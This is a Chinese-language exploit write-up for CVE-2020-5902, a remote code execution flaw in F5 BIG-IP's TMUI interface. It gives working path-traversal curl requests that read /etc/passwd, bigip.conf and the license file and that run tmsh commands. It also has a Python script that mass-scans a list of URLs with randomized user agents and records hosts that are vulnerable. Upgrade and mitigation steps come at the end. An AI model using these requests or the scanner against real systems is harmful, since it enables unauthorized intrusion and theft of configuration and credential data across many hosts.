CVE-2020-5902 BIG-IP RCE漏洞复现&exp
0x01 漏洞简述
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
未授权的远程攻击者通过向该页面发送特制的请求包，可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
0x02 漏洞详情
未授权的远程攻击者通过向该页面发送特制的请求包，可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
tmshCmd
在 tmshCmd 的 service方法处理请求的时候，未对command 参数进行处理，直接调用 WorkspaceUtils.runTmshCommand(cmd, request); 方法执行命令，限制了执行delete,create,list,modify。
if ("POST".equalsIgnoreCase(request.getMethod())) {
String[] cmdArray = command.split(" ");
String operation = cmdArray[0];
String module = cmdArray[2];
if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
try {
String[] args = new String[]{command};
Result result = Syscall.callElevated(Syscall.TMSH, args);
output = result.getOutput();
error = result.getError();
} catch (CallException var11) {
logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
error = var11.getMessage();
}
} else {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}fileRead
在 fileRead 的 service方法处理请求的时候，未对 fileName 参数进行处理，直接调用 WorkspaceUtils.readFile(fileName); 方法，进行文件读取。
fileSave
在 fileSave 的 service方法处理请求的时候，未对 fileName，content 参数进行处理，直接调用 WorkspaceUtils.saveFile(request); 方法，进行文件上传。
0x03 影响版本
- BIG-IP 15.x: 15.1.0/15.0.0
- BIG-IP 14.x: 14.1.0 ~ 14.1.2
- BIG-IP 13.x: 13.1.0 ~ 13.1.3
- BIG-IP 12.x: 12.1.0 ~ 12.1.5
- BIG-IP 11.x: 11.6.1 ~ 11.6.5
0x04 文件读取POC
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf 
0x05 代码执行
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
0x06 站点随机采集脚本批量测试
脚本代码，采用python3编写，也可以去github下载
import requests
from random import choice
import argparse
import json
import warnings
warnings.filterwarnings('ignore')#忽略SSL警告
USER_AGENTS = [
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
headers = {}
def F5(url, i):
#print(f'[{i}]')
checkUrl = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
headers["User-Agent"] = choice(USER_AGENTS)
try:
res = requests.get(checkUrl, headers=headers,timeout=3,verify=False)
print(res.status_code)
if res.status_code is 200:
print('[{i} +++] The {url} has Vuln !!!!!!!!!!!!'.format(url=url,i=i)+'\n')
with open('success.txt', 'a') as f1:
f1.write(url + '\n')
else:
print('[{i} xxx] The {url} Not has Vuln'.format(url=url,i=i)+'\n')
except:
print("{url} 连接超时\n".format(url=url))
def get_url():
i = 1
with open('urls.txt', 'r') as f:
for line in f:
url = line.replace('\n', '')
if url[0:5] == 'https':
url = url
else:
url = 'https://' + url
F5(url, i)
i += 1
if __name__ == '__main__':
get_url()0x07 修复建议
通用修补建议：
升级到以下版本
- BIG-IP 15.x: 15.1.0.4
- BIG-IP 14.x: 14.1.2.6
- BIG-IP 13.x: 13.1.3.4
- BIG-IP 12.x: 12.1.5.2
- BIG-IP 11.x: 11.6.5.2
临时修补建议：
官方建议可以通过以下步骤临时缓解影响
1) 使用以下命令登录对应系统
tmsh2) 编辑 httpd 组件的配置文件
edit /sys httpd all-properties3) 文件内容如下
include '
Redirect 404 /
'4) 按照如下操作保存文件
按下 ESC 并依次输入
:wq5) 执行命令刷新配置文件
save /sys config6) 重启 httpd 服务
restart sys service httpd并禁止外部IP对 TMUI 页面的访问
0x08 参考链接
- Article: K52145254 – TMUI RCE vulnerability CVE-2020-5902
- BIG-IP 应用程序服务、硬件和软件 | F5
- Add F5 BIG-IP TMUI Directory Traversal and File Upload RCE (CVE-2020-5902)
- CVE-2020-5902
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